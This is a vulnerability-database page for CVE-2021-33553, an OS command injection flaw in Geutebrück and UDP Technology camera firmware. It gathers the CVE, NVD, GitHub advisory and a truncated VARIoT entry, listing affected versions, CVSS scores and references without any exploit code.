Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2021-33553 (GCVE-0-2021-33553)
Vulnerability from cvelistv5 – Published: 2021-09-13 17:55 – Updated: 2024-09-16 20:17- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| Geutebrück | E2 Series |
Affected:
EBC-21xx 1.12.13.2
Affected: EBC-21xx 1.12.14.5 Affected: EFD-22xx 1.12.13.2 Affected: EFD-22xx 1.12.14.5 Affected: ETHC-22xx 1.12.13.2 Affected: ETHC-22xx 1.12.14.5 Affected: EWPC-22xx 1.12.13.2 Affected: EWPC-22xx 1.12.14.5 Affected: EBC-21xx , ≤ 1.12.0.27 (custom) Affected: EFD-22xx , ≤ 1.12.0.27 (custom) Affected: ETHC-22xx , ≤ 1.12.0.27 (custom) Affected: EWPC-22xx , ≤ 1.12.0.27 (custom) |
|||||||
|
|||||||||
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T23:50:43.195Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"tags": [
"x_transferred"
],
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "E2 Series",
"vendor": "Geutebr\u00fcck",
"versions": [
{
"status": "affected",
"version": "EBC-21xx 1.12.13.2"
},
{
"status": "affected",
"version": "EBC-21xx 1.12.14.5"
},
{
"status": "affected",
"version": "EFD-22xx 1.12.13.2"
},
{
"status": "affected",
"version": "EFD-22xx 1.12.14.5"
},
{
"status": "affected",
"version": "ETHC-22xx 1.12.13.2"
},
{
"status": "affected",
"version": "ETHC-22xx 1.12.14.5"
},
{
"status": "affected",
"version": "EWPC-22xx 1.12.13.2"
},
{
"status": "affected",
"version": "EWPC-22xx 1.12.14.5"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "EBC-21xx",
"versionType": "custom"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "EFD-22xx",
"versionType": "custom"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "ETHC-22xx",
"versionType": "custom"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "EWPC-22xx",
"versionType": "custom"
}
]
},
{
"product": "Encoder G-Code",
"vendor": "Geutebr\u00fcck",
"versions": [
{
"status": "affected",
"version": "EEC-2xx 1.12.13.2"
},
{
"status": "affected",
"version": "EEC-2xx 1.12.14.5"
},
{
"status": "affected",
"version": "EEN-20xx 1.12.13.2"
},
{
"status": "affected",
"version": "EEN-20xx 1.12.14.5"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "EEC-2xx",
"versionType": "custom"
},
{
"lessThanOrEqual": "1.12.0.27",
"status": "affected",
"version": "EEN-20xx",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Titouan Lazard and Ibrahim Ayadhi from RandoriSec reported these vulnerabilities."
}
],
"datePublic": "2021-08-31T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-11-02T00:00:00.000Z",
"orgId": "270ccfa6-a436-4e77-922e-914ec3a9685c",
"shortName": "CERTVDE"
},
"references": [
{
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "UDP Technology/Geutebr\u00fcck camera devices: Command injection in command parameter leading to RCE",
"x_generator": {
"engine": "vulnogram 0.1.0-rc1"
}
}
},
"cveMetadata": {
"assignerOrgId": "270ccfa6-a436-4e77-922e-914ec3a9685c",
"assignerShortName": "CERTVDE",
"cveId": "CVE-2021-33553",
"datePublished": "2021-09-13T17:55:48.174Z",
"dateReserved": "2021-05-24T00:00:00.000Z",
"dateUpdated": "2024-09-16T20:17:28.205Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"nvd": "{\"cve\":{\"id\":\"CVE-2021-33553\",\"sourceIdentifier\":\"info@cert.vde.com\",\"published\":\"2021-09-13T18:15:23.597\",\"lastModified\":\"2024-11-21T06:09:04.980\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.\"},{\"lang\":\"es\",\"value\":\"M\u00faltiples dispositivos de c\u00e1mara de UDP Technology, Geutebr\u00c3\u00bcck y otros proveedores, son vulnerables a una inyecci\u00f3n de comandos, que puede permitir a un atacante ejecutar c\u00f3digo arbitrario remotamente\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"info@cert.vde.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.2,\"impactScore\":5.9},{\"source\":\"nvd@nist.gov\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.2,\"impactScore\":5.9}],\"cvssMetricV2\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"2.0\",\"vectorString\":\"AV:N/AC:L/Au:S/C:P/I:P/A:P\",\"baseScore\":6.5,\"accessVector\":\"NETWORK\",\"accessComplexity\":\"LOW\",\"authentication\":\"SINGLE\",\"confidentialityImpact\":\"PARTIAL\",\"integrityImpact\":\"PARTIAL\",\"availabilityImpact\":\"PARTIAL\"},\"baseSeverity\":\"MEDIUM\",\"exploitabilityScore\":8.0,\"impactScore\":6.4,\"acInsufInfo\":false,\"obtainAllPrivilege\":false,\"obtainUserPrivilege\":false,\"obtainOtherPrivilege\":false,\"userInteractionRequired\":false}]},\"weaknesses\":[{\"source\":\"info@cert.vde.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]}],\"configurations\":[{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"D112B35C-B264-40A0-83D1-E55B9036913A\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"22660A4B-ABFC-466D-9E0C-2EF4BD7A98F2\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"1E6939CF-1255-4E41-9199-B20471BDE977\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ebc-2110:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"181CBC12-DCC7-49AB-A9EC-8581D14333D6\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"CFC70BCD-CBC1-4556-93C2-BAA4A5E0AE3D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"8FB8A43B-E79D-4AC2-83ED-C29AAEA35E89\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"EC4847BD-E880-42DD-8A93-64042F286DFC\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ebc-2111:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"F93DB9C2-07FA-4EE6-B079-0189E73C4033\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"11754F1F-D3C6-490D-BA6E-AB5B17460F1E\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"E75EFC79-4453-4D6F-81A7-F0954EBCBA63\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"AED71348-C669-44DD-8670-9361D77F4995\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_efd-2241:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"571918FA-7A65-4DED-83BD-4EBB73417430\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"F5230A0E-1D52-4C82-AB2A-FD4C5714AA6E\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"5B2BC819-B425-41D2-BEDE-943B5D4781B1\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"966334C5-628B-444F-8992-2DB8857BE797\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_efd-2250:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"C0D67535-75F6-4467-9834-FBEFE5E9CB4B\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"498E6BC9-3B2C-4F7C-9A76-7DDA3CE55E62\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"F1438441-4FDD-4C13-A230-EFE53DF8BBBB\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"4E5DEF62-A9EA-46A8-8BE2-603356F50493\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ethc-2230:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"8B1A2A83-64B9-44D5-9BCC-0DB4ED628F7B\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"985CAD50-895C-4DFB-A41F-77A44C44D8B5\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"DCF30D97-6FC0-4D80-B8A4-B24078FDBA4C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"843E4BCD-598B-457E-BB4F-17F29052C27B\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ethc-2239:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"35C88F5F-1340-41B6-85E0-84954A3E2C0F\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"DB0BB4B5-FFB9-40C2-B1E5-D1ECBFA550F3\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"0374A073-CAC4-4137-94DE-50035DC52DB6\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"6AFF5C0B-9493-4B7C-983F-EC3418B52DB8\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ethc-2240:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"ACDA66D2-4E05-48F3-A710-30FB1BFBB22E\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"886C810D-2D03-45C1-BBFB-1A290374EE92\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"D7851EE3-21FB-4447-A5B7-DFAFC335845B\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"FB0CDFBB-DA48-4E41-BDA2-01179AF04EA2\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ethc-2249:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"5EB8C61F-AA77-4D33-9BCB-D1F01020E47C\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"C67E1A48-7907-448A-9E29-6964BEA54AA6\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"16E2C1A4-E048-4DB8-8FB2-B020AD1F37F4\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"0FA3BBD7-77C8-4E78-81EC-EF0B3123F75D\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ewpc-2270:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"F7E4E8B5-D432-471D-A612-86AA7B83E49D\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"F2AFB104-E3B2-4CBF-93A7-13DD14A509DD\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"B1DDDFD1-0428-4909-8079-D696D45ECED8\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"894AB862-E9E5-4E7B-A3FC-945C315911A6\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-code_eec-2400:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"729D81B8-66E8-44D9-B794-ED4A8E869E10\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"3808D6AA-3D02-44F1-8914-018BB17B2429\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"DC42C86C-8DAC-469C-9A6C-41F1D6E48891\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"70924709-F815-4E43-9FCC-BAFFF7154DAF\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-code_een-2010:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"E71CBF86-3629-4F90-837F-DB9907AE2058\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"6ADD66ED-4A4C-4B95-95CA-A116AAB52C5E\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"A527F7AB-0434-4BC4-95EF-E1F18BDAC2B0\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"E23967D9-54C1-40C8-AB9F-61BAF2EAF9E3\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-code_een-2040:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"4FB10D7B-5FA5-486E-AE01-D96B901036A4\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"E6F25262-F719-4B70-8782-F23FB546A140\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"AF81F56A-6D0A-4294-937F-C4F82259F538\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"2395E255-6FA5-4C74-938B-F94A20B02943\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ebc-2112:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"1A7FEC97-E87B-47A8-A171-0CF22EAD54D8\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"4D534DDA-8AD5-4FCC-BBA3-499F20230506\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"670D86CA-F192-49C0-B7BA-580A94A5DF59\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"4A5D0DDC-5C4C-4948-ADF9-0A2D40D7E8FF\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_efd-2251:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"424F7E3B-565A-4E9B-942E-C241A08FAF33\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"E0BCBCFE-CAFF-4C12-99BB-39A6A0B86A7A\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"41D9C92C-BDAB-4062-A9EF-A1CF4BA19F0C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"FE138FC3-80A6-45F1-8AD2-EA5842351B67\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ewpc-2275:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"2F2AC61F-6C50-4B2F-A260-4FB128BFC956\"}]}]},{\"operator\":\"AND\",\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"1.12.0.27\",\"matchCriteriaId\":\"EC9252C6-B2F6-4476-8294-98695218D26B\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.13.2:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"2C5A8920-DC4C-4E7A-8A09-95987B81C1B7\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.14.5:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"4328D71C-125E-414D-BFE9-F83C5B5AB646\"}]},{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":false,\"criteria\":\"cpe:2.3:h:geutebrueck:g-cam_ewpc-2271:*:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"62EB57D9-0F72-40CD-A776-68121B19D06B\"}]}]}],\"references\":[{\"url\":\"https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\",\"source\":\"info@cert.vde.com\",\"tags\":[\"Third Party Advisory\",\"US Government Resource\"]},{\"url\":\"https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/\",\"source\":\"info@cert.vde.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]},{\"url\":\"https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Third Party Advisory\",\"US Government Resource\"]},{\"url\":\"https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}"
}
}
GHSA-P7F9-M8RP-XWWW
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-10-08 00:00Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2021-33553"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-13T18:15:00Z",
"severity": "HIGH"
},
"details": "Multiple camera devices by UDP Technology, Geutebr\u00c3\u00bcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.",
"id": "GHSA-p7f9-m8rp-xwww",
"modified": "2022-10-08T00:00:17Z",
"published": "2022-05-24T22:28:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33553"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
},
{
"type": "WEB",
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
VAR-202109-0849
Vulnerability from variot - Updated: 2025-01-30 20:38Multiple camera devices by UDP Technology, Geutebrück and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code. GEUTEBRUCK Provided by the company G-Cam E2 and G-Code The following multiple vulnerabilities exist in. * Lack of authentication for important features (CWE-306) - CVE-2021-33543 ‥ * Command injection (CWE-77) - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 ‥ * Stack-based buffer overflow (CWE-121) - CVE-2021-33545 , CVE-2021-33546 , CVE-2021-33547 , CVE-2021-33549The expected impact depends on each vulnerability, but it may be affected as follows. * Confidential information stolen by a remote third party due to improper default user authentication settings - CVE-2021-33543 ‥ * Arbitrary code executed by command injection by a remote third party - CVE-2021-33544 , CVE-2021-33548 , CVE-2021-33550 , CVE-2021-33551 , CVE-2021-33552 , CVE-2021-33553 , CVE-2021-33554 ‥ * By a remote third party counter Parameter buffer overflow is triggered and arbitrary code is executed - CVE-2021-33545 ‥ * By a remote 